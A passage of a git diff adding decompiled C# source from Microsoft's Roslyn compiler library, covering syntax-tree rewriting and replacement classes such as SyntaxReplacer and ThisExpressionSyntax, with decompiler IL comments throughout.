token.Kind() == SyntaxKind.XmlTextLiteralNewLineToken; + } + + private static bool EndsInLineBreak(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + if (trivia.Kind() == SyntaxKind.EndOfLineTrivia) + { + return true; + } + if (trivia.Kind() == SyntaxKind.PreprocessingMessageTrivia || trivia.Kind() == SyntaxKind.DisabledTextTrivia) + { + string text = ((SyntaxTrivia)(ref trivia)).ToFullString(); + if (text.Length > 0) + { + return SyntaxFacts.IsNewLine(StringExtensions.Last(text)); + } + return false; + } + if (((SyntaxTrivia)(ref trivia)).HasStructure) + { + SyntaxNode structure = ((SyntaxTrivia)(ref trivia)).GetStructure(); + SyntaxTriviaList trailingTrivia = structure.GetTrailingTrivia(); + if (((SyntaxTriviaList)(ref trailingTrivia)).Count > 0) + { + return EndsInLineBreak(((SyntaxTriviaList)(ref trailingTrivia)).Last()); + } + return IsLineBreak(structure.GetLastToken(false, false, false, false)); + } + return false; + } + + private static bool IsWord(SyntaxKind kind) + { + if (kind != SyntaxKind.IdentifierToken) + { + return IsKeyword(kind); + } + return true; + } + + private static bool IsKeyword(SyntaxKind kind) + { + if (!SyntaxFacts.IsKeywordKind(kind)) + { + return SyntaxFacts.IsPreprocessorKeyword(kind); + } + return true; + } + + private static bool TokenCharacterCanBeDoubled(char c) + { + switch (c) + { + case '"': + case '+': + case '-': + case ':': + case '<': + case '=': + case '?': + return true; + default: + return false; + } + } + + private static int GetDeclarationDepth(SyntaxToken token) + { + return GetDeclarationDepth(((SyntaxToken)(ref token)).Parent); + } + + private static int GetDeclarationDepth(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + if (SyntaxFacts.IsPreprocessorDirective(trivia.Kind())) + { + return 0; + } + return GetDeclarationDepth(((SyntaxTrivia)(ref trivia)).Token); + } + + private static int GetDeclarationDepth(SyntaxNode? node) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + if (node == null) + { + return 0; + } + if (node.IsStructuredTrivia) + { + return GetDeclarationDepth(((SyntaxNode)(StructuredTriviaSyntax)(object)node).ParentTrivia); + } + int declarationDepth; + bool flag; + if (node.Parent != null) + { + if (node.Parent.IsKind(SyntaxKind.CompilationUnit)) + { + return 0; + } + declarationDepth = GetDeclarationDepth(node.Parent); + SyntaxKind syntaxKind = node.Parent.Kind(); + if ((syntaxKind == SyntaxKind.GlobalStatement || syntaxKind == SyntaxKind.FileScopedNamespaceDeclaration) ? true : false) + { + return declarationDepth; + } + if (node.IsKind(SyntaxKind.IfStatement) && node.Parent.IsKind(SyntaxKind.ElseClause)) + { + return declarationDepth; + } + if (node.Parent is BlockSyntax) + { + return declarationDepth + 1; + } + if (node != null) + { + SyntaxNode parent = node.Parent; + if (parent is InitializerExpressionSyntax || parent is AnonymousObjectMemberDeclaratorSyntax) + { + flag = true; + goto IL_00c2; + } + } + flag = false; + goto IL_00c2; + } + return 0; + IL_00c2: + if ((flag || (node is AssignmentExpressionSyntax assignmentExpressionSyntax && assignmentExpressionSyntax.Parent is InitializerExpressionSyntax)) && !IsSingleLineInitializerContext(node.Parent)) + { + return declarationDepth + 1; + } + if (node is StatementSyntax && !(node is BlockSyntax)) + { + if (node is UsingStatementSyntax usingStatementSyntax && usingStatementSyntax.Parent is UsingStatementSyntax) + { + return declarationDepth; + } + if (node is FixedStatementSyntax fixedStatementSyntax && fixedStatementSyntax.Parent is FixedStatementSyntax) + { + return declarationDepth; + } + return declarationDepth + 1; + } + if (node is MemberDeclarationSyntax || node is AccessorDeclarationSyntax || node is TypeParameterConstraintClauseSyntax || node is SwitchSectionSyntax || node is SwitchExpressionArmSyntax || node is UsingDirectiveSyntax || node is ExternAliasDirectiveSyntax || node is QueryExpressionSyntax || node is QueryContinuationSyntax) + { + return declarationDepth + 1; + } + return declarationDepth; + } + + private static bool IsSingleLineInitializerContext(SyntaxNode? node) + { + if (node == null) + { + return false; + } + for (SyntaxNode parent = node.Parent; parent != null; parent = parent.Parent) + { + if ((parent is InterpolationSyntax || parent is AttributeArgumentSyntax || parent is ArgumentSyntax) ? true : false) + { + return true; + } + if ((parent is StatementSyntax || parent is MemberDeclarationSyntax) ? true : false) + { + return false; + } + } + return false; + } + + private static bool IsInitializerInSingleLineContext(SyntaxNode? node) + { + if ((!(node is InitializerExpressionSyntax) && !(node is AnonymousObjectCreationExpressionSyntax)) || 1 == 0) + { + return false; + } + return IsSingleLineInitializerContext(node); + } + + private static bool IsSingleLineProperty(PropertyDeclarationSyntax property) + { + if (property.AccessorList != null) + { + return IsAccessorListWithoutAccessorsWithBlockBody((SyntaxNode?)(object)property.AccessorList); + } + return true; + } + + public override SyntaxNode? VisitInterpolatedStringExpression(InterpolatedStringExpressionSyntax node) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + if (node.StringStartToken.Kind() == SyntaxKind.InterpolatedStringStartToken) + { + bool inSingleLineInterpolation = _inSingleLineInterpolation; + _inSingleLineInterpolation = true; + try + { + return base.VisitInterpolatedStringExpression(node); + } + finally + { + _inSingleLineInterpolation = inSingleLineInterpolation; + } + } + return base.VisitInterpolatedStringExpression(node); + } + + public override SyntaxNode? VisitXmlTextAttribute(XmlTextAttributeSyntax node) + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + XmlTextAttributeSyntax xmlTextAttributeSyntax = (XmlTextAttributeSyntax)(object)base.VisitXmlTextAttribute(node); + if ((xmlTextAttributeSyntax == null || ((SyntaxNode)xmlTextAttributeSyntax).HasTrailingTrivia) ? true : false) + { + return (SyntaxNode?)(object)xmlTextAttributeSyntax; + } + SyntaxKind syntaxKind = GetNextRelevantToken(node.EndQuoteToken).Kind(); + if (syntaxKind == SyntaxKind.GreaterThanToken || syntaxKind == SyntaxKind.SlashGreaterThanToken) + { + return (SyntaxNode?)(object)xmlTextAttributeSyntax; + } + return (SyntaxNode?)(object)SyntaxNodeExtensions.WithTrailingTrivia(xmlTextAttributeSyntax, (SyntaxTrivia[])(object)new SyntaxTrivia[1] { GetSpace() }); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxReplacer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxReplacer.cs new file mode 100644 index 0000000..c77f5d0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/SyntaxReplacer.cs @@ -0,0 +1,514 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.Text; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +internal static class SyntaxReplacer +{ + private class Replacer : CSharpSyntaxRewriter where TNode : SyntaxNode + { + private readonly Func? _computeReplacementNode; + + private readonly Func? _computeReplacementToken; + + private readonly Func? _computeReplacementTrivia; + + private readonly HashSet _nodeSet; + + private readonly HashSet _tokenSet; + + private readonly HashSet _triviaSet; + + private readonly HashSet _spanSet; + + private readonly TextSpan _totalSpan; + + private readonly bool _visitIntoStructuredTrivia; + + private readonly bool _shouldVisitTrivia; + + private static readonly HashSet s_noNodes = new HashSet(); + + private static readonly HashSet s_noTokens = new HashSet(); + + private static readonly HashSet s_noTrivia = new HashSet(); + + public override bool VisitIntoStructuredTrivia => _visitIntoStructuredTrivia; + + public bool HasWork => _nodeSet.Count + _tokenSet.Count + _triviaSet.Count > 0; + + public Replacer(IEnumerable? nodes, Func? computeReplacementNode, IEnumerable? tokens, Func? computeReplacementToken, IEnumerable? trivia, Func? computeReplacementTrivia) + { + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0101: Unknown result type (might be due to invalid IL or missing references) + _computeReplacementNode = computeReplacementNode; + _computeReplacementToken = computeReplacementToken; + _computeReplacementTrivia = computeReplacementTrivia; + _nodeSet = ((nodes != null) ? new HashSet((IEnumerable)nodes) : s_noNodes); + _tokenSet = ((tokens != null) ? new HashSet(tokens) : s_noTokens); + _triviaSet = ((trivia != null) ? new HashSet(trivia) : s_noTrivia); + _spanSet = new HashSet(_nodeSet.Select((SyntaxNode n) => n.FullSpan).Concat(_tokenSet.Select((SyntaxToken t) => ((SyntaxToken)(ref t)).FullSpan).Concat(_triviaSet.Select((SyntaxTrivia t) => ((SyntaxTrivia)(ref t)).FullSpan)))); + _totalSpan = ComputeTotalSpan(_spanSet); + _visitIntoStructuredTrivia = HashSetExtensions.Any(_nodeSet, (Func)((SyntaxNode n) => n.IsPartOfStructuredTrivia())) || HashSetExtensions.Any(_tokenSet, (Func)((SyntaxToken t) => ((SyntaxToken)(ref t)).IsPartOfStructuredTrivia())) || HashSetExtensions.Any(_triviaSet, (Func)((SyntaxTrivia t) => ((SyntaxTrivia)(ref t)).IsPartOfStructuredTrivia())); + _shouldVisitTrivia = _triviaSet.Count > 0 || _visitIntoStructuredTrivia; + } + + private static TextSpan ComputeTotalSpan(IEnumerable spans) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + bool flag = true; + int num = 0; + int num2 = 0; + foreach (TextSpan span in spans) + { + TextSpan current = span; + if (flag) + { + num = ((TextSpan)(ref current)).Start; + num2 = ((TextSpan)(ref current)).End; + flag = false; + } + else + { + num = Math.Min(num, ((TextSpan)(ref current)).Start); + num2 = Math.Max(num2, ((TextSpan)(ref current)).End); + } + } + return new TextSpan(num, num2 - num); + } + + private bool ShouldVisit(TextSpan span) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (!((TextSpan)(ref span)).IntersectsWith(_totalSpan)) + { + return false; + } + foreach (TextSpan item in _spanSet) + { + if (((TextSpan)(ref span)).IntersectsWith(item)) + { + return true; + } + } + return false; + } + + [return: NotNullIfNotNull("node")] + public override SyntaxNode? Visit(SyntaxNode? node) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode val = node; + if (node != null) + { + if (ShouldVisit(node.FullSpan)) + { + val = base.Visit(node); + } + if (_nodeSet.Contains(node) && _computeReplacementNode != null) + { + val = _computeReplacementNode((TNode)(object)node, (TNode)(object)val); + } + } + return val; + } + + public override SyntaxToken VisitToken(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken val = token; + if (_shouldVisitTrivia && ShouldVisit(((SyntaxToken)(ref token)).FullSpan)) + { + val = base.VisitToken(token); + } + if (_tokenSet.Contains(token) && _computeReplacementToken != null) + { + val = _computeReplacementToken(token, val); + } + return val; + } + + public override SyntaxTrivia VisitListElement(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia val = trivia; + if (VisitIntoStructuredTrivia && ((SyntaxTrivia)(ref trivia)).HasStructure && ShouldVisit(((SyntaxTrivia)(ref trivia)).FullSpan)) + { + val = VisitTrivia(trivia); + } + if (_triviaSet.Contains(trivia) && _computeReplacementTrivia != null) + { + val = _computeReplacementTrivia(trivia, val); + } + return val; + } + } + + private enum ListEditKind + { + InsertBefore, + InsertAfter, + Replace + } + + private abstract class BaseListEditor : CSharpSyntaxRewriter + { + private readonly TextSpan _elementSpan; + + private readonly bool _visitTrivia; + + private readonly bool _visitIntoStructuredTrivia; + + protected readonly ListEditKind editKind; + + public override bool VisitIntoStructuredTrivia => _visitIntoStructuredTrivia; + + public BaseListEditor(TextSpan elementSpan, ListEditKind editKind, bool visitTrivia, bool visitIntoStructuredTrivia) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + _elementSpan = elementSpan; + this.editKind = editKind; + _visitTrivia = visitTrivia || visitIntoStructuredTrivia; + _visitIntoStructuredTrivia = visitIntoStructuredTrivia; + } + + private bool ShouldVisit(TextSpan span) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + if (((TextSpan)(ref span)).IntersectsWith(_elementSpan)) + { + return true; + } + return false; + } + + [return: NotNullIfNotNull("node")] + public override SyntaxNode? Visit(SyntaxNode? node) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode result = node; + if (node != null && ShouldVisit(node.FullSpan)) + { + result = base.Visit(node); + } + return result; + } + + public override SyntaxToken VisitToken(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken result = token; + if (_visitTrivia && ShouldVisit(((SyntaxToken)(ref token)).FullSpan)) + { + result = base.VisitToken(token); + } + return result; + } + + public override SyntaxTrivia VisitListElement(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + SyntaxTrivia result = trivia; + if (VisitIntoStructuredTrivia && ((SyntaxTrivia)(ref trivia)).HasStructure && ShouldVisit(((SyntaxTrivia)(ref trivia)).FullSpan)) + { + result = VisitTrivia(trivia); + } + return result; + } + } + + private class NodeListEditor : BaseListEditor + { + private readonly SyntaxNode _originalNode; + + private readonly IEnumerable _newNodes; + + public NodeListEditor(SyntaxNode originalNode, IEnumerable replacementNodes, ListEditKind editKind) + : base(originalNode.Span, editKind, visitTrivia: false, originalNode.IsPartOfStructuredTrivia()) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _originalNode = originalNode; + _newNodes = replacementNodes; + } + + [return: NotNullIfNotNull("node")] + public override SyntaxNode? Visit(SyntaxNode? node) + { + if (node == _originalNode) + { + throw GetItemNotListElementException(); + } + return base.Visit(node); + } + + public override SeparatedSyntaxList VisitList(SeparatedSyntaxList list) + { + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + if (_originalNode is TNode) + { + int num = list.IndexOf((TNode)(object)_originalNode); + if (num >= 0 && num < list.Count) + { + switch (editKind) + { + case ListEditKind.Replace: + return list.ReplaceRange((TNode)(object)_originalNode, _newNodes.Cast()); + case ListEditKind.InsertAfter: + return list.InsertRange(num + 1, _newNodes.Cast()); + case ListEditKind.InsertBefore: + return list.InsertRange(num, _newNodes.Cast()); + } + } + } + return base.VisitList(list); + } + + public override SyntaxList VisitList(SyntaxList list) + { + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + if (_originalNode is TNode) + { + int num = list.IndexOf((TNode)(object)_originalNode); + if (num >= 0 && num < list.Count) + { + switch (editKind) + { + case ListEditKind.Replace: + return list.ReplaceRange((TNode)(object)_originalNode, _newNodes.Cast()); + case ListEditKind.InsertAfter: + return list.InsertRange(num + 1, _newNodes.Cast()); + case ListEditKind.InsertBefore: + return list.InsertRange(num, _newNodes.Cast()); + } + } + } + return base.VisitList(list); + } + } + + private class TokenListEditor : BaseListEditor + { + private readonly SyntaxToken _originalToken; + + private readonly IEnumerable _newTokens; + + public TokenListEditor(SyntaxToken originalToken, IEnumerable newTokens, ListEditKind editKind) + : base(((SyntaxToken)(ref originalToken)).Span, editKind, visitTrivia: false, ((SyntaxToken)(ref originalToken)).IsPartOfStructuredTrivia()) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + _originalToken = originalToken; + _newTokens = newTokens; + } + + public override SyntaxToken VisitToken(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (token == _originalToken) + { + throw GetItemNotListElementException(); + } + return base.VisitToken(token); + } + + public override SyntaxTokenList VisitList(SyntaxTokenList list) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + int num = ((SyntaxTokenList)(ref list)).IndexOf(_originalToken); + if (num >= 0 && num < ((SyntaxTokenList)(ref list)).Count) + { + switch (editKind) + { + case ListEditKind.Replace: + return ((SyntaxTokenList)(ref list)).ReplaceRange(_originalToken, _newTokens); + case ListEditKind.InsertAfter: + return ((SyntaxTokenList)(ref list)).InsertRange(num + 1, _newTokens); + case ListEditKind.InsertBefore: + return ((SyntaxTokenList)(ref list)).InsertRange(num, _newTokens); + } + } + return base.VisitList(list); + } + } + + private class TriviaListEditor : BaseListEditor + { + private readonly SyntaxTrivia _originalTrivia; + + private readonly IEnumerable _newTrivia; + + public TriviaListEditor(SyntaxTrivia originalTrivia, IEnumerable newTrivia, ListEditKind editKind) + : base(((SyntaxTrivia)(ref originalTrivia)).Span, editKind, visitTrivia: true, ((SyntaxTrivia)(ref originalTrivia)).IsPartOfStructuredTrivia()) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + _originalTrivia = originalTrivia; + _newTrivia = newTrivia; + } + + public override SyntaxTriviaList VisitList(SyntaxTriviaList list) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + int num = ((SyntaxTriviaList)(ref list)).IndexOf(_originalTrivia); + if (num >= 0 && num < ((SyntaxTriviaList)(ref list)).Count) + { + switch (editKind) + { + case ListEditKind.Replace: + return ((SyntaxTriviaList)(ref list)).ReplaceRange(_originalTrivia, _newTrivia); + case ListEditKind.InsertAfter: + return ((SyntaxTriviaList)(ref list)).InsertRange(num + 1, _newTrivia); + case ListEditKind.InsertBefore: + return ((SyntaxTriviaList)(ref list)).InsertRange(num, _newTrivia); + } + } + return base.VisitList(list); + } + } + + internal static SyntaxNode Replace(SyntaxNode root, IEnumerable? nodes = null, Func? computeReplacementNode = null, IEnumerable? tokens = null, Func? computeReplacementToken = null, IEnumerable? trivia = null, Func? computeReplacementTrivia = null) where TNode : SyntaxNode + { + Replacer replacer = new Replacer(nodes, computeReplacementNode, tokens, computeReplacementToken, trivia, computeReplacementTrivia); + if (replacer.HasWork) + { + return replacer.Visit(root); + } + return root; + } + + internal static SyntaxToken Replace(SyntaxToken root, IEnumerable? nodes = null, Func? computeReplacementNode = null, IEnumerable? tokens = null, Func? computeReplacementToken = null, IEnumerable? trivia = null, Func? computeReplacementTrivia = null) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + Replacer replacer = new Replacer(nodes, computeReplacementNode, tokens, computeReplacementToken, trivia, computeReplacementTrivia); + if (replacer.HasWork) + { + return replacer.VisitToken(root); + } + return root; + } + + internal static SyntaxNode ReplaceNodeInList(SyntaxNode root, SyntaxNode originalNode, IEnumerable newNodes) + { + return new NodeListEditor(originalNode, newNodes, ListEditKind.Replace).Visit(root); + } + + internal static SyntaxNode InsertNodeInList(SyntaxNode root, SyntaxNode nodeInList, IEnumerable nodesToInsert, bool insertBefore) + { + return new NodeListEditor(nodeInList, nodesToInsert, (!insertBefore) ? ListEditKind.InsertAfter : ListEditKind.InsertBefore).Visit(root); + } + + public static SyntaxNode ReplaceTokenInList(SyntaxNode root, SyntaxToken tokenInList, IEnumerable newTokens) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new TokenListEditor(tokenInList, newTokens, ListEditKind.Replace).Visit(root); + } + + public static SyntaxNode InsertTokenInList(SyntaxNode root, SyntaxToken tokenInList, IEnumerable newTokens, bool insertBefore) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new TokenListEditor(tokenInList, newTokens, (!insertBefore) ? ListEditKind.InsertAfter : ListEditKind.InsertBefore).Visit(root); + } + + public static SyntaxNode ReplaceTriviaInList(SyntaxNode root, SyntaxTrivia triviaInList, IEnumerable newTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new TriviaListEditor(triviaInList, newTrivia, ListEditKind.Replace).Visit(root); + } + + public static SyntaxNode InsertTriviaInList(SyntaxNode root, SyntaxTrivia triviaInList, IEnumerable newTrivia, bool insertBefore) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return new TriviaListEditor(triviaInList, newTrivia, (!insertBefore) ? ListEditKind.InsertAfter : ListEditKind.InsertBefore).Visit(root); + } + + public static SyntaxToken ReplaceTriviaInList(SyntaxToken root, SyntaxTrivia triviaInList, IEnumerable newTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return new TriviaListEditor(triviaInList, newTrivia, ListEditKind.Replace).VisitToken(root); + } + + public static SyntaxToken InsertTriviaInList(SyntaxToken root, SyntaxTrivia triviaInList, IEnumerable newTrivia, bool insertBefore) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return new TriviaListEditor(triviaInList, newTrivia, (!insertBefore) ? ListEditKind.InsertAfter : ListEditKind.InsertBefore).VisitToken(root); + } + + private static InvalidOperationException GetItemNotListElementException() + { + return new InvalidOperationException(CodeAnalysisResources.MissingListItem); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThisExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThisExpressionSyntax.cs new file mode 100644 index 0000000..9d67e02 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThisExpressionSyntax.cs @@ -0,0 +1,57 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ThisExpressionSyntax : InstanceExpressionSyntax +{ + public SyntaxToken Token => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ThisExpressionSyntax)(object)((SyntaxNode)this).Green).token, ((SyntaxNode)this).Position, 0); + + internal ThisExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThisExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThisExpression(this); + } + + public ThisExpressionSyntax Update(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (token != Token) + { + ThisExpressionSyntax thisExpressionSyntax = SyntaxFactory.ThisExpression(token); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return thisExpressionSyntax; + } + return thisExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ThisExpressionSyntax WithToken(SyntaxToken token) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(token); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowExpressionSyntax.cs new file mode 100644 index 0000000..fbe3ee5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ThrowExpressionSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ThrowExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? expression; + + public SyntaxToken ThrowKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ThrowExpressionSyntax)(object)((SyntaxNode)this).Green).throwKeyword, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 1); + + internal ThrowExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref expression, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)expression; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitThrowExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitThrowExpression(this); + } + + public ThrowExpressionSyntax Update(SyntaxToken throwKeyword, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (throwKeyword != ThrowKeyword || expression != Expression) + { + ThrowExpressionSyntax throwExpressionSyntax = SyntaxFactory.ThrowExpression(throwKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return throwExpressionSyntax; + } + return throwExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public ThrowExpressionSyntax WithThrowKeyword(SyntaxToken throwKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(throwKeyword, Expression); + } + + public ThrowExpressionSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid 